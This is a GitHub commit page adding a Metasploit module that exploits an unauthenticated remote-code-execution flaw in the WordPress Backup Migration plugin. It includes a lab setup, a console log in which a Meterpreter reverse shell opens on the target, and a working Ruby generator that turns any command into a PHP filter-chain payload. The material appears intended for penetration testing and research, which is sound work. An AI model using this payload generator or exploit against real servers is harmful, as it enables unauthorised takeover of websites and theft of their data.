-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Showing
4 changed files
with
370 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -60,3 +60,4 @@ paid-memberships-pro | |
woocommerce-payments | ||
file-manager-advanced-shortcode | ||
royal-elementor-addons | ||
backup-backup |
126 changes: 126 additions & 0 deletions
126
documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,126 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is | ||
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. | ||
|
||
The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend | ||
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend | ||
a PHP payload to a string which gets evaluated by a require statement, which results in command execution. | ||
|
||
### Setup | ||
|
||
Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below: | ||
``` | ||
version: "3" | ||
# Defines which compose version to use | ||
services: | ||
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image. | ||
db: | ||
image: mysql:5.7 | ||
# image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation. | ||
restart: always | ||
environment: | ||
MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD | ||
MYSQL_DATABASE: MyWordPressDatabaseName | ||
MYSQL_USER: MyWordPressUser | ||
MYSQL_PASSWORD: Pa$$5w0rD | ||
# Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password. | ||
wordpress: | ||
depends_on: | ||
- db | ||
image: wordpress:latest | ||
restart: always | ||
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately. | ||
ports: | ||
- "8000:80" | ||
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000 | ||
environment: | ||
WORDPRESS_DB_HOST: db:3306 | ||
WORDPRESS_DB_USER: MyWordPressUser | ||
WORDPRESS_DB_PASSWORD: Pa$$5w0rD | ||
WORDPRESS_DB_NAME: MyWordPressDatabaseName | ||
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container. | ||
volumes: | ||
["./:/var/www/html"] | ||
volumes: | ||
mysql: {} | ||
``` | ||
|
||
Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`. | ||
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes | ||
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created | ||
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the | ||
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the | ||
plugin. You should now have a vulnerable instance running. | ||
|
||
## Verification Steps | ||
|
||
1. Start msfconsole | ||
1. Do: `use ` | ||
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options | ||
1. Run the module | ||
1. Receive a Meterpreter session in the context of the user running the WordPress application. | ||
|
||
## Scenarios | ||
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0) | ||
``` | ||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1 | ||
rhosts => 127.0.0.1 | ||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000 | ||
rport => 8000 | ||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1 | ||
lhost => 192.168.123.1 | ||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options | ||
Module options (exploit/multi/http/wp_backup_migration_php_filter): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default) | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 8000 yes The target port (TCP) | ||
SSL false no Negotiate SSL/TLS for outgoing connections | ||
TARGETURI / yes The base path to the wordpress application | ||
VHOST no HTTP server virtual host | ||
Payload options (php/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
LHOST 192.168.123.1 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Automatic | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run | ||
[*] Started reverse TCP handler on 192.168.123.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] WordPress Version: 6.0 | ||
[+] Detected Backup Migration Plugin version: 1.3.7 | ||
[+] The target appears to be vulnerable. | ||
[*] Writing the payload to disk, character by character, please wait... | ||
[*] Sending stage (39927 bytes) to 192.168.123.1 | ||
[+] Deleted L | ||
[+] Deleted ONxu.php | ||
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500 | ||
meterpreter > getuid | ||
Server username: www-data | ||
meterpreter > sysinfo | ||
Computer : 856d06702f34 | ||
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64 | ||
Meterpreter : php/linux | ||
meterpreter > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
# -*- coding: binary -*- | ||
|
||
module Msf | ||
class Exploit | ||
class Remote | ||
module HTTP | ||
module PhpFilterChain | ||
|
||
# This module can be used to generate PHP Filter Chains which can be used to gain RCE through an LFI. | ||
# | ||
# There are many different types of character encodings. You can use [convert.iconv.*](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv) | ||
# in PHP in order to convert from one encoding to another. | ||
# | ||
# Some encodings have a byte or sequence of bytes prepended to the string as a signature. By carefully chaining | ||
# together specific encoding conversions, we can control the bytes that get prepended to the string. | ||
# | ||
# An example of when this can be used is when you control the input to a "require" or an "include" statement in PHP. | ||
# PHP lets you specify the file name as "resource=php://temp" so you don't actually need to know the a file on | ||
# the system and then you can build a payload with filter chains which will then be executed by the "require". | ||
# Ex: require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<redacted>|resource=php://temp" | ||
# More info: https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it | ||
def initialize(info = {}) | ||
super | ||
end | ||
|
||
CONVERSIONS = { | ||
"0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2", | ||
"1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", | ||
"2" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", | ||
"3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", | ||
"4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", | ||
"5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2", | ||
"6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", | ||
"7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", | ||
"8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2", | ||
"9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", | ||
"A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", | ||
"a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", | ||
"B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", | ||
"b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", | ||
"C" => "convert.iconv.UTF8.CSISO2022KR", | ||
"c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", | ||
"D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", | ||
"d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", | ||
"E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", | ||
"e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", | ||
"F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", | ||
"f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", | ||
"g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", | ||
"G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", | ||
"H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", | ||
"h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", | ||
"I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", | ||
"i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", | ||
"J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", | ||
"j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", | ||
"K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", | ||
"k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", | ||
"L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", | ||
"l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", | ||
"M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", | ||
"m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", | ||
"N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", | ||
"n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", | ||
"O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", | ||
"o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", | ||
"P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", | ||
"p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", | ||
"q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", | ||
"Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", | ||
"R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", | ||
"r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", | ||
"S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", | ||
"s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", | ||
"T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", | ||
"t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", | ||
"U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", | ||
"u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", | ||
"V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", | ||
"v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2", | ||
"W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", | ||
"w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", | ||
"X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", | ||
"x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", | ||
"Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", | ||
"y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", | ||
"Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", | ||
"z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", | ||
"/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", | ||
"+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", | ||
"=" => "", # since `=` is only used as trailing padding, it can safely be ignored. | ||
} | ||
|
||
def generate_php_filter_payload(command) | ||
chain = command.encode("UTF-8") | ||
encoded_chain = Base64.strict_encode64(chain).encode("UTF-8").chomp("=") | ||
filters = "convert.iconv.UTF8.CSISO2022KR|" | ||
filters << "convert.base64-encode|" | ||
filters << "convert.iconv.UTF8.UTF7|" | ||
|
||
encoded_chain.reverse.each_char do |c| | ||
filters << CONVERSIONS[c] + "|" | ||
filters << "convert.base64-decode|" | ||
filters << "convert.base64-encode|" | ||
filters << "convert.iconv.UTF8.UTF7|" | ||
end | ||
|
||
filters += "convert.base64-decode" | ||
"php://filter/#{filters}/resource=php://temp" | ||
|
||
end | ||
end | ||
end | ||
end | ||
end | ||
end |
Oops, something went wrong.